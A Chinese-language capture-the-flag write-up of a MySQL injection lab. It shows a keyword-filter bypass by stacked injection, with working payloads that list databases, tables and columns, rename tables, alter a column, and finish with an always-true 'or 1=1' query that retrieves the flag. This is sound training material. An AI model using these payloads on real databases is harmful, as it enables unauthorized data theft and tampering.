启动靶机一看名字就知道这是个SQL注入题QWQ
既然是sql注入题那就先找注入点,页面有个输入框在这试试
1后加个单引号发现报错,说明此处为注入点(即url里面的inject参数)
接下来判断一下查询列数,使用下面三个payload发现在3时报错,所以查询列数为2
既然第一步报错那我们可以考虑报错注入,不过为了避免白忙活我们可以先看看有没有过滤关键字
输入select,发现报错并且看到过滤语句
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
意思就是检查$inject的字符串中是否包含select这些关键词。
select一被过滤,联合注入,报错注入,布尔型和时间型盲注也都报废,那试试堆叠注入吧
插入payload:1';show databases;#返回了所有数据库名,但是我们不知道是哪个所有再查下当前库名(后面添加分号的好处是确保语句的明确结束,这有助于防止出现意外的语法错误,特别是当在一个SQL脚本中有多个语句时。)
使用payload:1';show database();#,发现球都没得,那得的库名暂时也没用先放放
既然不能查当前库名那就直接查当前页面所用库的表
使用payload:1';show tables;#看到有两张表
1919810931114514和words
使用payload:1';show columns from `1919810931114514`;#先查下第一个
发现只有一列数据,但是我们看到了flag在这,先插个眼
使用payload:1';show columns from `words`;#查words表发现有两列,说明原本的sql查询语句是从words表中进行查询,并且我们可以猜测查询语句为select id,data from words......
MySQL中的关键字可以用反引号(`)括起来。使用反引号可以避免关键字与列名或表名之间的冲突。
到了现在,我们已经大概知道原本的查询语句了。并且由于select被过滤所以我们只能依靠原有语句查询。虽然我们改变不了原有的查询语句,但是我们可以借鸡生蛋,把flag在的表的名字和列名改成原本语句查询words表名和列名,这样就可以直接查出我们要的东西
话不多说开干!
下面是我们借鸡生蛋的注入语句
1';rename table `words` to `w`;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
前两行改表名,第三行因为原本id限制长度为10,但是flag应该没这么短,所以修改words表中的列定义,将flag列的数据类型更改为varchar(100),后两行不做解释
插入我们的payload
现在已经修改成功,只要我们构建一个永真payload就可以执行查询语句输出我们需要的flag
我随便整个payload:1' or 1=1#
输入payload发现成功得到我们的flag了!